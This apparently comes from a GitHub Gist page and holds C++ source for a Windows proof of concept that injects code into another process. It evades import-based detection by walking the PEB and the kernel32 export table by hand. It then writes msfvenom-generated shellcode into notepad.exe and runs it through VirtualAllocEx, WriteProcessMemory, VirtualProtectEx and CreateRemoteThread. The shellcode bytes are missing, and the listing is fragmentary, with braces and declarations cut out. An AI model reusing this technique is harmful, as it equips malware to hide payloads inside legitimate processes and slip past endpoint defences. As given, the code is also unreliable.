Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
#include <iostream>
#include <windows.h>
#include "Processthreadsapi.h"
#include "Libloaderapi.h"
#include <winnt.h>
#include <winternl.h>
#include <Lmcons.h>
#include "Processthreadsapi.h"
#include "Libloaderapi.h"
#include <tlhelp32.h>
using namespace std;
/* Globals */
DWORD ignored;
// msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -a x64
unsigned char shellcode[] =
#define ADDR unsigned __int64
// Utility function to convert an UNICODE_STRING to a char*
HRESULT UnicodeToAnsi(LPCOLESTR pszW, LPSTR* ppszA) {
ULONG cbAnsi, cCharacters;
DWORD dwError;
// If input is null then just return the same.
if (pszW == NULL)
*ppszA = NULL;
return NOERROR;
cCharacters = wcslen(pszW) + 1;
cbAnsi = cCharacters * 2;
*ppszA = (LPSTR)CoTaskMemAlloc(cbAnsi);
if (NULL == *ppszA)
if (0 == WideCharToMultiByte(CP_ACP, 0, pszW, cCharacters, *ppszA, cbAnsi, NULL, NULL))
dwError = GetLastError();
*ppszA = NULL;
return HRESULT_FROM_WIN32(dwError);
return NOERROR;
namespace dynamic {
using GetModuleHandlePrototype = HMODULE(WINAPI*)(LPCSTR);
GetModuleHandlePrototype GetModuleHandle;
using GetProcAddressPrototype = FARPROC(WINAPI*)(HMODULE, LPCSTR);
GetProcAddressPrototype GetProcAddress;
using CreateToolhelp32SnapshotPrototype = HANDLE(WINAPI*)(DWORD, DWORD);
CreateToolhelp32SnapshotPrototype CreateToolhelp32Snapshot;
using Process32FirstPrototype = BOOL(WINAPI*)(HANDLE, LPPROCESSENTRY32);
Process32FirstPrototype Process32First;
using Process32NextPrototype = Process32FirstPrototype;
Process32NextPrototype Process32Next;
using CloseHandlePrototype = BOOL(WINAPI*)(HANDLE);
CloseHandlePrototype CloseHandle;
using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
OpenProcessPrototype OpenProcess;
using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
VirtualAllocExPrototype VirtualAllocEx;
using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
WriteProcessMemoryPrototype WriteProcessMemory;
using VirtualProtectExPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtectExPrototype VirtualProtectEx;
CreateRemoteThreadPrototype CreateRemoteThread;
// Given the base address of a DLL in memory, returns the address of an exported function
ADDR find_dll_export(ADDR dll_base, const char* export_name) {
// Read the DLL PE header and NT header
PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew);
// The RVA of the export table if indicated in the PE optional header
// Read it, and read the export table by adding the RVA to the DLL base address in memory
DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset);
// Browse every export of the DLL. For the i-th export:
// - The i-th element of the name table contains the export name
// - The i-th element of the ordinal table contains the index with which the functions table must be indexed to get the final function address
DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames);
WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals);
DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions);
for (int i = 0; i < exportTable->NumberOfNames; ++i) {
char* funcName = (char*)(dll_base + name_table[i]);
ADDR func_ptr = dll_base + func_table[ordinal_table[i]];
if (!_strcmpi(funcName, export_name)) {
return func_ptr;
return NULL;
// Dynamically finds the base address of a DLL in memory
ADDR find_dll_base(const char* dll_name) {
// - x64 version
// Note: the PEB can also be found using NtQueryInformationProcess, but this technique requires a call to GetProcAddress
// and GetModuleHandle which defeats the very purpose of this PoC
PTEB teb = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
PPEB_LDR_DATA loader = teb->ProcessEnvironmentBlock->Ldr;
PLIST_ENTRY head = &loader->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;
// Iterate through every loaded DLL in the current process
do {
char* dllName;
// Convert unicode buffer into char buffer for the time of the comparison, then free it
UnicodeToAnsi(dllEntry->FullDllName.Buffer, &dllName);
char* result = strstr(dllName, dll_name);
CoTaskMemFree(dllName); // Free buffer allocated by UnicodeToAnsi
if (result != NULL) {
// Found the DLL entry in the PEB, return its base address
return (ADDR)dllEntry->DllBase;
curr = curr->Flink;
} while (curr != head);
return NULL;
void resolve_imports(void) {
ADDR kernel32_base = find_dll_base("KERNEL32.DLL");
dynamic::GetProcAddress = (GetProcAddressPrototype) find_dll_export(kernel32_base, "GetProcAddress");
dynamic::GetModuleHandle = (GetModuleHandlePrototype) find_dll_export(kernel32_base, "GetModuleHandleA");
#define _import(_name, _type) ((_type) dynamic::GetProcAddress(dynamic::GetModuleHandle("kernel32.dll"), _name))
dynamic::CreateToolhelp32Snapshot = _import("CreateToolhelp32Snapshot", CreateToolhelp32SnapshotPrototype);
dynamic::Process32First = _import("Process32FirstW", Process32FirstPrototype);
dynamic::Process32Next = _import("Process32NextW", Process32NextPrototype);
dynamic::CloseHandle = _import("CloseHandle", CloseHandlePrototype);
dynamic::OpenProcess = _import("OpenProcess", OpenProcessPrototype);
dynamic::VirtualAllocEx = _import("VirtualAllocEx", VirtualAllocExPrototype);
dynamic::WriteProcessMemory = _import("WriteProcessMemory", WriteProcessMemoryPrototype);
dynamic::VirtualProtectEx = _import("VirtualProtectEx", VirtualProtectExPrototype);
dynamic::CreateRemoteThread = _import("CreateRemoteThread", CreateRemoteThreadPrototype);
// Returns the PID of the first process found matching 'process_name', or 0 if not found
int find_process(const wchar_t* process_name) {
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = dynamic::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int returnValue = 0;
if (!dynamic::Process32First(snapshot, &entry)) {
goto cleanup;
do {
if (wcscmp(entry.szExeFile, process_name) == 0) {
returnValue = entry.th32ProcessID;
goto cleanup;
} while (dynamic::Process32Next(snapshot, &entry));
return returnValue;
int main(int argc, char* argv[])
// Get a handle on the target process. The target needs to be a 64 bit process
HANDLE hTargetProcess = dynamic::OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe"));
// Allocate a RW page in the target process memory
LPVOID targetPage = dynamic::VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
dynamic::WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL);
// Change the page as executable only
dynamic::VirtualProtectEx(hTargetProcess, targetPage, sizeof(shellcode), PAGE_EXECUTE, &ignored);
// Create a thread in the target process pointing to the shellcode
dynamic::CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.